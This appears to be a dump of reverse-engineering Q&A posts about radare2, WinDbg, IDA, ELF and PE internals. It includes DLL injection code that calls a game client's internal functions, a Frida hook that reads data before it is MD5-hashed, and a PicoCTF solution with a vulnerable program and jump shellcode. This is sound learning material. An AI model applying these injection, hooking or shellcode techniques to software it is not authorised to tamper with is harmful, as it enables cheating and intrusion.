    Is there a command I can get the information contained in sym.imp.kernel32.dll_GetModuleHandleA by providing the address 0x408084? \nPreferably in Json as I'm using this for a script.

    \n\n

    I searched a bit but could not find anything.

    \n", "Title": "radare2 get API library and name from address", "Tags": "|radare2|", "Answer": "

    sym.imp.kernel32.dll_GetModuleHandleA is a flag radare2 defined for this address.

    \n\n

    This flag name is combined from 4 parts:

    \n\n\n\n

    To handle flags with radare2 you should use the f command and its subcommands. Use f? to list all of them.

    \n\n

    For your case, the right way to get the flag name for a given address is to use the fd command like this:

    \n\n
    [0x004073d4]> fd 0x408084 \nsym.imp.kernel32.dll_GetModuleHandleA\n
    \n\n

    You can split it to the function and the DLL name by using simple string manipulation with the programming language you are using to script radare.

    \n\n
    \n\n

    On a personal note I will say that the best way to script with radare2 is to use r2pipe which is a very simple interface to radare2. You may already started using it but just in case, here's how simple it looks like with Python:

    \n\n
    import r2pipe\n\nr2 = r2pipe.open(\"/bin/ls\")\nr2.cmd(\"aa\")\nprint(r2.cmd(\"afl\"))\nprint(r2.cmdj(\"aflj\"))  # evaluates JSONs and returns an object\nr2.quit()\n
    \n\n

    I suggest you to read the Radare2 Book to learn more about radare2 and how to use it.

    \n" }, { "Id": "16796", "CreationDate": "2017-11-20T10:33:22.910", "Body": "

    I'm using IDA Pro and WinDbg as a debugger to step through a WinAPI from a user-mode code. I can do all this, except that when the assembly code encounters the syscall instruction (that enters ring-0 code) I cannot step into it:

    \n\n

    \"enter

    \n\n

    Can someone show if it's possible to step into a kernel code?

    \n\n

    PS. I'm running IDA Pro in a VM from my host Windows system.

    \n", "Title": "How to step into kernel code from a user-mode code using IDA Pro and WinDbg as a debugger?", "Tags": "|ida|windows|windbg|kernel-mode|", "Answer": "

    In order to step into syscall you must debug your machine from kernel mode debugger. https://www.hex-rays.com/products/ida/support/tutorials/debugging_windbg.pdf see Debugging the kernel with VMWare section. \nBut be aware, that in kernel mode debugger you won't be able to debug your single process as it was in user mode. Kernel mode debugging is about debugging all the processes in the system. So you'll have to attach to the target process before you can do anything, and you'll need to learn how to set breakpoints, which will trigger only in your target process.

    \n" }, { "Id": "16804", "CreationDate": "2017-11-21T00:38:55.010", "Body": "

    Can a multi-byte primitive data type (ie int, double, float, etc) span multiple virtual pages on Windows?

    \n\n

    ex) The first 4-bytes of a double on a virtual page, and the next 4-bytes of a double on the next virtual page. Is this possible*?

    \n\n

    What about structs? Arrays?

    \n\n
    \n\n

    *I presume it is technically possible to just cast the address of the last 4-bytes of arbitrary memory in a virtual page to a double pointer, as long as there is another virtual page that follows -- but I'm more curious if this can happen naturally in a compiled/interpreted program.

    \n", "Title": "Can a Data Type Span Multiple Virtual Pages? (Windows)", "Tags": "|windows|compilers|virtual-memory|", "Answer": "

    I don't see why not.

    \n\n

    For instance, if I'm mapping a binary file into memory, I may configure its structure as such:

    \n\n
    //Visual Studio code\n\n#pragma pack(push,1)\nstruct STRUCT1{\n    char dummy[0x1000 - 4];\n    double fDouble;\n};\n#pragma pack(pop)\n\nstruct STRUCT2{\n    STRUCT1 __declspec(align(0x1000)) s1;\n};\n\n\nint main()\n{\n    STRUCT2 s2 = {0};\n    s2.s1.fDouble = -123.124;\n\n    //This construct is just to give you the direct pointer\n    double* pD = (double*)((BYTE*)&s2 + offsetof(STRUCT2, s1.fDouble));\n    double fDVal = *pD;\n\n}\n
    \n\n

    Then if we break with a debugger on the last line and check the value of pD (that is in the RAX register in this screenshot):

    \n\n

    \"enter

    \n\n

    \"enter

    \n\n

    You will see that the double variable is straddling the page boundary (marked in red):

    \n\n

    \"enter

    \n\n

    This is far from ideal from the efficiency standpoint (due to those SSE2 instructions not \"liking\" being unaligned) but it is quite possible.

    \n" }, { "Id": "16807", "CreationDate": "2017-11-21T13:52:52.807", "Body": "

    I would like to know how WinDbg extracts all the user, group, privilege information about a process from a token when given the !token 0xaddress command so I can implement it in my driver code.

    \n\n

    Example output of !token 0xaddress command\n\"user_infor_output\"

    \n\n

    According to this site token has the EX_FAST_REF structure which has a definition like this:

    \n\n
    typedef struct EX_FAST_REF {\n       union {\n              PVOID Object;\n              ULONG RefCnt : 3;\n              ULONG Value;\n         };\n }EX_FAST_REF, *PEX_FAST_REF\n
    \n\n

    Object field points to the address of the token, the Value field holds the fist 4 bytes from the token address. I could not find the info I need from these fields but when I investigate the token address a little bit I am beginning to see strings like uid. What is the type of structure windbg uses to get all of this information? (Both debugger and debuggee have 32 bit architecture).

    \n\n

    \"uid_from_address\"

    \n", "Title": "TOKEN structure in Kernel", "Tags": "|debugging|c|windbg|kernel-mode|process|", "Answer": "

    This Token you've used, the link, is not the Token structure you're searching for.\nThis is the structure\nhttps://www.nirsoft.net/kernel_struct/vista/TOKEN.html

    \n" }, { "Id": "16813", "CreationDate": "2017-11-22T11:31:36.683", "Body": "

    I am trying to modify closed source game client that works with my game server. The purpose of that is being able to add new graphical elements into the client.

    \n\n

    I have read a lot of tutorials about dll injection and in the end theres the code I made:

    \n\n
    // dllmain.cpp : Defines the entry point for the DLL application.\n#include \"stdafx.h\"\n#include <windows.h>\n\n#define BASE_ADDR 0x00400000\n\nDWORD WINAPI MyThread(LPVOID);\nDWORD g_threadID;\nHMODULE g_hModule;\nvoid __stdcall CallFunction(int&, int&, int&, int&, int&, int&, int&, int&);\nvoid __stdcall typeText(int&, const char*);\n\n\n//must be at least one function to prevent crash\n__declspec(dllexport) int APIENTRY Func(LPVOID lpParam)\n{//empty function\n    return 0;\n}\n\n\n//main func\nBOOL APIENTRY DllMain( HMODULE hModule,\n                       DWORD  ul_reason_for_call,\n                       LPVOID lpReserved\n                     )\n{\n\n    DWORD myThreadID;\n    HANDLE myHandle;\n\n\n    switch (ul_reason_for_call)\n    {\n    case DLL_PROCESS_ATTACH:\n        g_hModule = hModule;\n        DisableThreadLibraryCalls(hModule);\n        CreateThread(NULL, NULL, &MyThread, NULL, NULL, &g_threadID);\n        break;\n    case DLL_THREAD_ATTACH:\n    case DLL_THREAD_DETACH:\n    case DLL_PROCESS_DETACH:\n        break;\n    }\n    return TRUE;\n}\n\n\nDWORD WINAPI MyThread(LPVOID)\n{\n    int i1 = 1;\n    int i2 = 10;\n    int i3 = 10;\n    int i4 = 200;\n    int i5 = 200;\n    int i6 = 60;\n    int i7 = 0;\n    int i8 = 0;\n\n\n    while (true)\n    {\n        if (GetAsyncKeyState(VK_F3) & 1) //Set F3 as hotkey\n        {\n            // call GUI window (do it before login)\n            CallFunction(i1, i2, i3, i4, i5, i6, i7, i8);\n\n\n            //display text from char (do it after login)\n            //typeText(i1, \"halo halo\");\n        }\n        else if (GetAsyncKeyState(VK_F4) & 1)\n            break;\n        Sleep(100);\n    }\n    FreeLibraryAndExitThread(g_hModule, 0);\n\n\n    /* another way to call function?\n    typedef void tipo(int& p1, int& p2, int& p3, int& p4, int& p5, int& p6, int& p7, int& p8);\n    void(*func)(int& p1, int& p2, int& p3, int& p4, int& p5, int& p6, int& p7, int& p8);\n    func = (tipo*)0x490C60;\n    func(i1, i2, i3, i4, i5, i6, i7, i8);\n    */\n\n    return 0;\n}\n\n//0x004067C0, pattern = (int, char*)\nvoid __stdcall typeText(int& type, const char* text)\n{\n    typedef void(__stdcall *pFunctionAddress)(int&, const char*);\n    pFunctionAddress pMySecretFunction = (pFunctionAddress)(0x004067C0);\n    pMySecretFunction(type, text);\n}\n\n//const DWORD DrawSkinExAddress =0x490C60;.\n//typedef void TF_DRAWSKIN(int nSurface, int X, int Y, int W, int H, int SkinId, int dX, int dY);\nvoid __stdcall CallFunction(int& p1, int& p2, int& p3, int& p4, int& p5, int& p6, int& p7, int& p8)\n{\n    typedef void(__stdcall *pFunctionAddress)(int&, int&, int&, int&, int&, int&, int&, int&);\n    pFunctionAddress pMySecretFunction = (pFunctionAddress)(0x490C60);\n    pMySecretFunction(p1,p2,p3,p4,p5,p6,p7,p8);\n}\n
    \n\n

    I can successfully inject it and run the client. When I try to call definied there function (Press F3 to do it), the client crashes. the runtime error shows up (picture presenting error: https://i.stack.imgur.com/8sL1m.jpg ) and client crashes. I think theres problem with the method I call the functions. The addresses and variables are fine I think because if I try to do it on another random addresses the client just crash normally (app not responding).

    \n\n

    I have tried replacing stdcall with cdecl but nothing has changed.

    \n", "Title": "Calling internal functions via dll injection - runtime error", "Tags": "|c++|dll-injection|call|", "Answer": "

    The address I used was wrong :|

    \n" }, { "Id": "16815", "CreationDate": "2017-11-22T14:48:05.373", "Body": "

    There is some DCD data in a disassembled binary using IDA as shown the image description. The binary is an ELF of ARM processor type. I want to know what are these data? Is it possible they be code which IDA could not disassembled? \n\"enter

    \n", "Title": "DCD data in IDA disassmbed file", "Tags": "|ida|disassembly|arm|", "Answer": "

    That is the ELF header from your executable, and IDA is aware that there is no practical use to disassemble it as if it's code.

    \n\n

    See The 101 of ELF Binaries on Linux: Understanding and Analysis in case you don't know what an \"ELF header\" is or if you want to know the meaning of every single byte in the header you show.

    \n\n

    More generally speaking, IDA automatically tries to determine what parts are code and data, but it may fail on both. Data that gets treated as code will usually contain undefined bytes \u2013 these will appear as literal dcd bytes among seemingly valid disassembled instructions. (And on close inspection, those \"instructions\" are usually nonsensical.)

    \n\n

    Code that gets treated as data is more difficult to spot, especially if there are no obvious references into it. With sufficient experience, one may be able to recognize certain hex sequences as \"most likely code\"; in that case, instruct IDA to disassemble such a sequence and see what it produces.

    \n" }, { "Id": "16832", "CreationDate": "2017-11-24T23:41:43.803", "Body": "

    An android app loads a native library (.so) using System.loadLibrary. It then calls a specific function, which takes 3 input variables, and returns a string containing a MD5 hash.

    \n\n

    You can see the relevant part of the function below:

    \n\n

    \"enter

    \n\n

    I want to be able to see the original, \"unhashed\" message (which is of course derived from the 3 input variables), instead of it's md5 hash. Is this possible in any way?

    \n", "Title": "Inject code into JNI function (Android shared library)", "Tags": "|android|arm|shared-object|", "Answer": "

    You can use Frida.

    \n\n

    Frida is a dynamic binary instrumentation tool that allows you to intercept, trace, modify, ... of a running application using a JavaScript debugging logic.

    \n\n

    For your purpose, you need to hook the MD5_Update function using the Interceptor API.

    \n\n

    The JavaScript code may look like the following. [Warning: Untested]

    \n\n
    // Use the mangled form of name MD5_Update below\nInterceptor.attach(Module.findExportByName(\"mylib.so\", \"MD5_Update\"), {\n    onEnter: function (args) \n    {\n        var ptr_data = args[1];\n        var length = args[2];    \n\n        var data = Memory.readByteArray(ptr_data, length);\n        console.log(data);\n    }\n});\n
    \n\n

    Further reference:

    \n\n\n" }, { "Id": "16837", "CreationDate": "2017-11-25T18:31:40.590", "Body": "

    PicoCTF 2017 Shells\nI have a binary and source:

    \n\n
    #include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <sys/mman.h>\n\n#define AMOUNT_OF_STUFF 10\n\n//TODO: Ask IT why this is here\nvoid win(){\n    system(\"/bin/cat ./flag.txt\");    \n}\n\n\nvoid vuln(){\n    char * stuff = (char *)mmap(NULL, AMOUNT_OF_STUFF, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);\n    if(stuff == MAP_FAILED){\n        printf(\"Failed to get space. Please talk to admin\\n\");\n        exit(0);\n    }\n    printf(\"Give me %d bytes:\\n\", AMOUNT_OF_STUFF);\n    fflush(stdout);\n    int len = read(STDIN_FILENO, stuff, AMOUNT_OF_STUFF);\n    if(len == 0){\n        printf(\"You didn't give me anything :(\");\n        exit(0);\n    }\n\n    void (*func)() = (void (*)())stuff;\n    func();      \n}\n\nint main(int argc, char*argv[]){\n    printf(\"My mother told me to never accept things from strangers\\n\");\n    printf(\"How bad could running a couple bytes be though?\\n\");\n    fflush(stdout);\n    vuln();\n    return 0;\n}\n
    \n\n

    The goal is to call win() function.

    \n\n

    So: \ngdb ./shells\nI have address of win function: 0x08048540\nthen i create shellcode:

    \n\n
    section .text\n    global _start\n_start:\n    mov eax,0x08048540\n    jmp eax\n\nsection .data\n
    \n\n

    after compile an use sehllcode i have the flag.\nBut when i compile source code instead of using given binary:

    \n\n
    gcc -m32 -fno-stack-protector -z execstack shells.c -o shells2\n
    \n\n

    This not works anymore, segfault all the time.\nWhy with binary file my method works and with compiled source manually not working?\nPS. Flag is in the right place.

    \n", "Title": "Shells CTF segfault - wrong address", "Tags": "|disassembly|assembly|binary-analysis|compilers|gcc|", "Answer": "

    I think your shellcode is missing the specifier for the bit-ness of the shellcode. You're compiling the shells in 32 bits, but for the nasm (I'm assuming you're using that) doesn't have anything. I'm assuming you're compiling in bin mode and if you check the documentation

    \n\n
    \n

    ...the bin output format defaults to 16-bit mode in anticipation of it being used most frequently to write DOS .COM programs, DOS .SYS device drivers and boot loader software.

    \n
    \n\n

    So what you need to do is:

    \n\n
    [BITS 32]\nsection .text\n    global _start\n_start:\n    mov eax,0x08048540 ; need to put correct address here of course\n    jmp eax\n\nsection .data\n
    \n\n

    ..compile & voil\u00e0

    \n\n

    \"enter

    \n" }, { "Id": "16840", "CreationDate": "2017-11-25T22:03:44.430", "Body": "

    I don't know if it is asked but, I couldn't find it anything despite this question. Is it because of disassembler's fault? Or if it is right, why compiler generates this code?

    \n\n
     ; int __cdecl main(int argc, const char **argv, const char **envp)\n main            proc near               ; CODE XREF: start-7Bp\n\n var_4           = dword ptr -4\n argc            = dword ptr  8\n argv            = dword ptr  0Ch\n envp            = dword ptr  10h\n\n                 push    ebp\n                 mov     ebp, esp\n                 push    ecx\n                 call    ds:GetCurrentProcessId\n                 mov     [ebp+var_4], eax ; <---\n                 mov     eax, [ebp+var_4] ; <---\n                 push    eax\n                 push    offset output\n                 call    printf\n                 add     esp, 8\n\n debugger_wait:                          ; CODE XREF: main+28j\n                 call    ds:IsDebuggerPresent\n                 test    eax, eax\n                 jnz     short debugger_present\n                 jmp     short debugger_wait\n ; ---------------------------------------------------------------------------\n\n debugger_present:                       ; CODE XREF: main+26j\n                 int     3               ; Trap to Debugger\n                 xor     eax, eax\n                 mov     esp, ebp\n                 pop     ebp\n                 retn\n main            endp\n
    \n\n

    Marked lines with arrows (from IDA output) shows two MOV operations which semantically equals to nothing (or is it?). This is my source code:

    \n\n
    #include <stdio.h>\n#include <Windows.h>\n\nint main(int argc, char *argv[], char *envp[])\n{\n    DWORD pid = GetCurrentProcessId();\n    printf(\"%d\\n\", pid);\n    while (!IsDebuggerPresent());\n    __asm int 0x3;\n    return 0;\n}\n
    \n\n

    Compiled with MSVC++ (19.00.24225.1):

    \n\n
    cl.exe dnmProg.c\n
    \n\n

    UPDATE: I tried other options, and both /O1 and /O2 doesn't have such structure, but /Ot has same instruction pair. When I compiled it with /Os there is:

    \n\n
    call    ds:GetCurrentProcessId\nmov     [ebp+var_4], eax ; <---\npush    [ebp+var_4]      ; <---\npush    offset printf_parameter\ncall    printf_\n
    \n\n

    Thanks.

    \n", "Title": "What does this instruction pairs mean?", "Tags": "|disassembly|compilers|", "Answer": "

    The code uses this non-optimal form in order to match the original code. It is saving the value in the local \"pid\" variable so that a debugger can see it. Then it is fetching the value again in order to use it.

    \n" }, { "Id": "16841", "CreationDate": "2017-11-25T23:52:04.983", "Body": "

    I have read st_value from the ELF symbol table, with the value being 4195622. When converted to hex, the value is 400580. I am aware that the file offset is 580 bytes.

    \n\n

    My question is how to actually convert the address to file offset concretely.

    \n\n

    Thanks

    \n", "Title": "Address to file offset", "Tags": "|file-format|elf|", "Answer": "

    Subtract 0x400000 from st_value since the address is located in the first LOAD segment of the binary.

    \n\n
    \n\n

    According to the System V ABI (generic), the meaning of the st_value symbol depends on what type of object file the binary is:

    \n\n
    \n

    Symbol table entries for different object file types have slightly different interpretations\n for the st_value member.

    \n \n
      \n
    • In relocatable files, st_value holds alignment constraints for a symbol whose section index is SHN_COMMON.
      • \n
    • In relocatable files, st_value holds a section offset for a defined symbol. That is, st_value is an offset from the beginning of the section that st_shndx identifies.
      • \n
    • In executable and shared object files, st_value holds a virtual address. To make these files\u2019 symbols more useful for the dynamic linker, the section offset (file interpretation) gives way to a virtual address (memory interpretation) for which the section number is irrelevant.
      • \n
    \n
    \n\n

    An executable ELF64 object file linked by ld has a canonical base address of 0x0000000000400000 given by the linker script variable __executable_start. This means that one can subtract the value of the base address from the st_value to find its file offset.

    \n\n

    We can verify this by looking at a link map of an ELF64 binary. Here a snippet of the output of ld -M /bin/ls:

    \n\n
    Memory Configuration\n\nName             Origin             Length             Attributes\n*default*        0x0000000000000000 0xffffffffffffffff\n\nLinker script and memory map\n\nLOAD /bin/ls\n                0x0000000000400000                PROVIDE (__executable_start, 0x400000)    <--------------\n                0x0000000000400190                . = (0x400000 + SIZEOF_HEADERS)\n\n.interp         0x0000000000400190       0x1c\n *(.interp)\n .interp        0x0000000000400190       0x1c /bin/ls\n\n.note.ABI-tag   0x00000000004001ac       0x20\n .note.ABI-tag  0x00000000004001ac       0x20 /bin/ls\n\n.note.gnu.build-id\n                0x00000000004001cc       0x24\n *(.note.gnu.build-id)\n .note.gnu.build-id\n                0x00000000004001cc       0x24 /bin/ls\n
    \n\n

    This can be further verified by examining the section-to-segment mapping of the same binary via readelf -l /bin/ls:

    \n\n
    Elf file type is EXEC (Executable file)\nEntry point 0x404890\nThere are 9 program headers, starting at offset 64\n\nProgram Headers:\n  Type           Offset             VirtAddr           PhysAddr\n                 FileSiz            MemSiz              Flags  Align\n  PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040\n                 0x00000000000001f8 0x00000000000001f8  R E    8\n  INTERP         0x0000000000000238 0x0000000000400238 0x0000000000400238\n                 0x000000000000001c 0x000000000000001c  R      1\n      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]\n  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000  <-------------\n                 0x0000000000019d44 0x0000000000019d44  R E    200000\n  LOAD           0x0000000000019df0 0x0000000000619df0 0x0000000000619df0\n                 0x0000000000000804 0x0000000000001570  RW     200000\n  DYNAMIC        0x0000000000019e08 0x0000000000619e08 0x0000000000619e08\n                 0x00000000000001f0 0x00000000000001f0  RW     8\n  NOTE           0x0000000000000254 0x0000000000400254 0x0000000000400254\n                 0x0000000000000044 0x0000000000000044  R      4\n  GNU_EH_FRAME   0x000000000001701c 0x000000000041701c 0x000000000041701c\n                 0x000000000000072c 0x000000000000072c  R      4\n  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000\n                 0x0000000000000000 0x0000000000000000  RW     10\n  GNU_RELRO      0x0000000000019df0 0x0000000000619df0 0x0000000000619df0\n                 0x0000000000000210 0x0000000000000210  R      1\n\n Section to Segment mapping:\n  Segment Sections...\n   00     \n   01     .interp \n   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame \n   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss \n   04     .dynamic \n   05     .note.ABI-tag .note.gnu.build-id \n   06     .eh_frame_hdr \n   07     \n   08     .init_array .fini_array .jcr .dynamic .got\n
    \n\n

    The first LOAD segment has a base address of 0x0000000000400000.

    \n\n

    Compare the values in the Off column with those in the Address column:

    \n\n
    $ readelf -SW /bin/ls\nThere are 28 section headers, starting at offset 0x1a700:\n\nSection Headers:\n  [Nr] Name              Type            Address          Off    Size   ES Flg Lk Inf Al\n  [ 0]                   NULL            0000000000000000 000000 000000 00      0   0  0\n  [ 1] .interp           PROGBITS        0000000000400238 000238 00001c 00   A  0   0  1\n  [ 2] .note.ABI-tag     NOTE            0000000000400254 000254 000020 00   A  0   0  4\n  [ 3] .note.gnu.build-id NOTE            0000000000400274 000274 000024 00   A  0   0  4\n  [ 4] .gnu.hash         GNU_HASH        0000000000400298 000298 000068 00   A  5   0  8\n  [ 5] .dynsym           DYNSYM          0000000000400300 000300 000c18 18   A  6   1  8\n  [ 6] .dynstr           STRTAB          0000000000400f18 000f18 000593 00   A  0   0  1\n  [ 7] .gnu.version      VERSYM          00000000004014ac 0014ac 000102 02   A  5   0  2\n  [ 8] .gnu.version_r    VERNEED         00000000004015b0 0015b0 000090 00   A  6   2  8\n  [ 9] .rela.dyn         RELA            0000000000401640 001640 0000a8 18   A  5   0  8\n  [10] .rela.plt         RELA            00000000004016e8 0016e8 000a80 18   A  5  12  8\n  [11] .init             PROGBITS        0000000000402168 002168 00001a 00  AX  0   0  4\n  [12] .plt              PROGBITS        0000000000402190 002190 000710 10  AX  0   0 16\n  [13] .text             PROGBITS        00000000004028a0 0028a0 00f65a 00  AX  0   0 16\n  [14] .fini             PROGBITS        0000000000411efc 011efc 000009 00  AX  0   0  4\n  [15] .rodata           PROGBITS        0000000000411f20 011f20 0050fc 00   A  0   0 32\n  [16] .eh_frame_hdr     PROGBITS        000000000041701c 01701c 00072c 00   A  0   0  4\n  [17] .eh_frame         PROGBITS        0000000000417748 017748 0025fc 00   A  0   0  8\n  [18] .init_array       INIT_ARRAY      0000000000619df0 019df0 000008 00  WA  0   0  8\n  [19] .fini_array       FINI_ARRAY      0000000000619df8 019df8 000008 00  WA  0   0  8\n  [20] .jcr              PROGBITS        0000000000619e00 019e00 000008 00  WA  0   0  8\n  [21] .dynamic          DYNAMIC         0000000000619e08 019e08 0001f0 10  WA  6   0  8\n  [22] .got              PROGBITS        0000000000619ff8 019ff8 000008 08  WA  0   0  8\n  [23] .got.plt          PROGBITS        000000000061a000 01a000 000398 08  WA  0   0  8\n  [24] .data             PROGBITS        000000000061a3a0 01a3a0 000254 00  WA  0   0 32\n  [25] .bss              NOBITS          000000000061a600 01a5f4 000d60 00  WA  0   0 32\n  [26] .gnu_debuglink    PROGBITS        0000000000000000 01a5f4 000008 00      0   0  1\n  [27] .shstrtab         STRTAB          0000000000000000 01a5fc 0000fe 00      0   0  1\nKey to Flags:\n  W (write), A (alloc), X (execute), M (merge), S (strings), l (large)\n  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)\n  O (extra OS processing required) o (OS specific), p (processor specific)\n
    \n" }, { "Id": "16844", "CreationDate": "2017-11-26T14:00:14.290", "Body": "

    This is the stack view that I'm getting in radare2 after entering the visual panel mode:

    \n\n

    \"enter

    \n\n

    This is the view from immunity debugger:

    \n\n

    \"enter

    \n\n

    How can I get a view similar to immunity debugger in radare2?

    \n", "Title": "How to get a nice stack view in radare2?", "Tags": "|radare2|", "Answer": "

    You have several ways to print the stack. The specific way that you're searching for is called Stack Telescoping and you can print it like this:

    \n\n
    pxr @ esp\n
    \n\n

    Use sp, esp, and rsp according to your system.

    \n\n

    pxr stands for Print heXadecimal References, you can see its description by using px?:

    \n\n
    [0x7f8a672ee4]> px?\n<...truncated...>\npxr[j]            show words with references to flags and code\n
    \n\n

    Here are some other options to print the stack using radare2:

    \n\n\n" }, { "Id": "16847", "CreationDate": "2017-11-27T04:44:58.787", "Body": "

    I need to rename some memory address \"names\" in IDAPython. I'm talking about the dword_805672 formatted ones. Please see the screenshot below:

    \n\n

    \"enter

    \n\n

    I've placed red boxes around the names which I would like to rename with IDAPython. I've searched the API docs and I came up with: idc.MakeName(ea,name) however, as you can see, this only placed a name in the spots labeled dynamic_1, dynamic_2 and so on. I want to rename the actual operand.

    \n", "Title": "How do you rename a memory address operand in IDAPython?", "Tags": "|idapython|", "Answer": "

    idc.MakeName should be the correct api command. I'm assuming that you did something like idc.MakeName(0x123772cd, 'dynamic_3') instead of doing the make name on the actual dword in the instruction.

    \n\n

    Something like this should be done instead:

    \n\n

    idc.MakeName(idc.GetOperandValue(0x123772cd, 0), 'dynamic_3')

    \n\n

    In this case idc.GetOperandValue will return the value of the zeroth operand (ie. 0x123ef5e0). That address will then be labeled 'dynamic_3' and IDA should update the UI to show the change.

    \n" }, { "Id": "16862", "CreationDate": "2017-11-29T03:30:18.987", "Body": "

    I'm switching over to Radare2 from GDB mixed with peda. One of the things I love about GDB, is the p command. For example, p system prints out the address of system. As well, peda's searchmem function is wonderful for uses such as searchmem SHELL. In Radare2, I have no idea how to achieve this. I've been Google'ing to the high heavens to no avail. Does anyone know if Radare2 has this ability?

    \n", "Title": "How To Print Addresses in Radare2", "Tags": "|radare2|", "Answer": "

    To print the address of system export of libc with radare2 you can use dmi libc system

    \n\n

    First you need to open radare2 and continue executing until you reach the program\u2019s entrypoint. You have to do this because radare2 is starting its debugging before\u00a0libc\u00a0is loaded. When you\u2019ll reach the entrypoint, the library would probably be loaded.

    \n\n

    Now use the\u00a0dmi command and pass it\u00a0libc\u00a0and the desired function.

    \n\n
    $ r2\u00a0-d\u00a0binary_name\n\n[0xf771ab30]>\u00a0dcu entry0\nContinue until 0x080483d0 using 1 bpsize\nhit breakpoint at: 80483d0\n\n[0x080483d0]>\u00a0dmi libc system\n
    \n\n

    Worth to mention here, that after the analysis (see a?) radare2 associates names to interesting offsets in the file such as Sections, Function, Symbols, Strings, etc. Those names are called \u2018flags\u2019. You can print the flags and their addresses with f. For more help see f? and read the \"flags\" chapter in radare2 book.

    \n\n

    To know how to print different addresses and flags in different ways I'd recommend trying the p? command and reading the \"Printing\" chapter.

    \n\n
    \n\n

    Searching in radare2, including in memory, can be done with the / command. You can get more help about the available search commands by using /?. I highly recommend reading the \"Search\" chapter in radare2 book. See my answer here for example.

    \n\n
    \n\n

    References

    \n\n\n" }, { "Id": "16866", "CreationDate": "2017-11-29T13:40:32.340", "Body": "

    I want to know using IDAPython if an instruction at the end of a basic block is a jump/branch instruction (like B or JNZ) and also determine if it's conditional or not. I need it in a CPU agnostic way, without relying on mnemonics.

    \n\n

    I cannot find how to do so by grepping in the $IDA_DIR/python directory.

    \n", "Title": "IDAPython: How to check if an instruction is a conditional branch or jump?", "Tags": "|ida|idapython|", "Answer": "

    This solution isn't 100% architecture agnostic but it is a little simpler and shouldn't be too difficult to add support for architectures with delay slots. If you are just interested whether the flow is conditional or not then you can ignore the Rfirst0 part.

    \n\n
    def conditional_branches_for(ea):\n    func = idaapi.get_func(ea)\n\n    for basicblock in idaapi.FlowChart(func):\n        # Insert logic here for getting branch for archs with delay slots\n        last_ea = PrevHead(basicblock.endEA)\n\n        # Get any Xrefs that are not part of the regular flow\n        if Rfirst0(last_ea) == idaapi.BADADDR:\n            print('Skipping {:#x} because it is not a branch'.format(last_ea))\n            continue\n\n        successors = len(tuple(basicblock.succs()))\n        if successors == 0:\n            branch_type = 'does not branch'\n        elif successors == 1:\n            branch_type = 'has an unconditional branch'\n        else:\n            branch_type = 'has a conditional branch'\n\n        print('BasicBlock at {:#x} {}'.format(last_ea, branch_type))\n
    \n" }, { "Id": "16870", "CreationDate": "2017-11-30T12:39:29.063", "Body": "

    What's the difference between the Import Table and the Import Address Table?

    \n", "Title": "Import table vs Import Address Table", "Tags": "|binary-analysis|x86|pe|", "Answer": "

    First, beside \u201cyours\u201d two tables, I introduce a third one, the Import Lookup Table.

    \n

    Side by side with the Import Address Table, these two tables look like in this simplified picture:

    \n

    \"enter

    \n

    This picture shows the situation in your executable file on disk. They are totally identical, with the exactly same lists of the API function names (more precisely, pointers to the displayed names), in the exactly same order.

    \n
    \n

    Now, the loader loads your executable and maps all required DLLs (Dynamic-Link Libraries) into your virtual memory space.

    \n

    After finishing it and some calculations, the loader already knows addresses of all your imported functions.

    \n

    So it replaces the names of your imported functions in the second table (Import Address Table) with their addresses, and the situation in memory becomes different:

    \n

    \"enter

    \n
    \n

    On the other hand, the Import Table, more precisely Import Directory Table, is a gateway to these 2 tables.

    \n

    It is an array (a table) of entries, one entry (a row) for every imported library.
    \nA simplified picture of it is here:

    \n

    \"enter

    \n

    Every row consist of 5 double words (pointers). Important are only 3 of them, the first (a pointer to the ILT), the last (a pointer to the IAT), and the last but one (identifying the row by the name of DLL; so it's a pointer to the DLL's name in the fourth involved table, the Hint/Name Table).

    \n

    So its cooperation with other two tables looks like this:

    \n

    \"enter

    \n

    (I omitted the fourth table, the mentioned Hint/Name Table with names of all imported functions and names of all imported libraries, too.)

    \n
    \n

    Note: I intentionally omitted zero-filled separating rows in my pictures, and I didn't deal with imports by ordinal (for the sake of simplicity to emphasize ideas).

    \n" }, { "Id": "16879", "CreationDate": "2017-12-01T10:22:34.650", "Body": "

    I am trying to understand a hook installed by a program within the Win32 API function ZwWriteVirtualMemory.

    \n\n

    It seems that a jmp inside an instruction is used and I couldn't fix it to be able to continue my analysis.

    \n\n

    Any help on this would be greatly appreciated !

    \n\n

    \"enter

    \n\n

    \"enter

    \n", "Title": "Help with anti-disassembly trick inside a hooked function", "Tags": "|ida|anti-debugging|function-hooking|", "Answer": "

    There is no obfuscation here, it is a fairly standard jump to a fixed address.

    \n\n

    Breaking it down:

    \n\n
    FF 25 00 00 00 00        ; jmp  qword ptr [rip]\n68 01 4A 00 00 00 00 00  ; dq   00000004A0168h\n
    \n\n

    The first instruction says to read the value at RIP and then jump to that address. Since RIP is already advanced past the end of the instruction, the data value is in the 8 bytes following the jump (which happens to be the value 0x4A0168). So the code that executes next is at that virtual address.

    \n" }, { "Id": "16893", "CreationDate": "2017-12-01T21:32:39.923", "Body": "

    In %SYSTEMROOT%, there are about 2000 DLL and EXE files. I am looking into reverse engineering some of them which are dependencies of other applications.

    \n\n

    However, what I would preferably want is disassembling all of them and get the assembly files from all files in order to search through the code more \"quickly\". Even though I keep focusing on individual functions and files, I would otherwise need to decompile each DLL individually, which is a lot of repetitive work.

    \n\n

    It's hard enough to find a proper x64 disassembler tool, let a long something that has command line options. Do you have any idea how to solve this problem?

    \n", "Title": "Batch disassembling DLL and EXE files?", "Tags": "|windows|assembly|", "Answer": "

    You can always write an IDAPython script that would:

    \n\n
      \n
    1. Load a file using idc.LoadFile.
      2. \n
    2. Wait for the auto-analysis to finish using ida_auto.auto_wait
      3. \n
    3. Save the resulting IDB file by calling idc.save_database.
      4. \n
    \n\n

    and then load the next file by calling idc.LoadFile again.

    \n\n
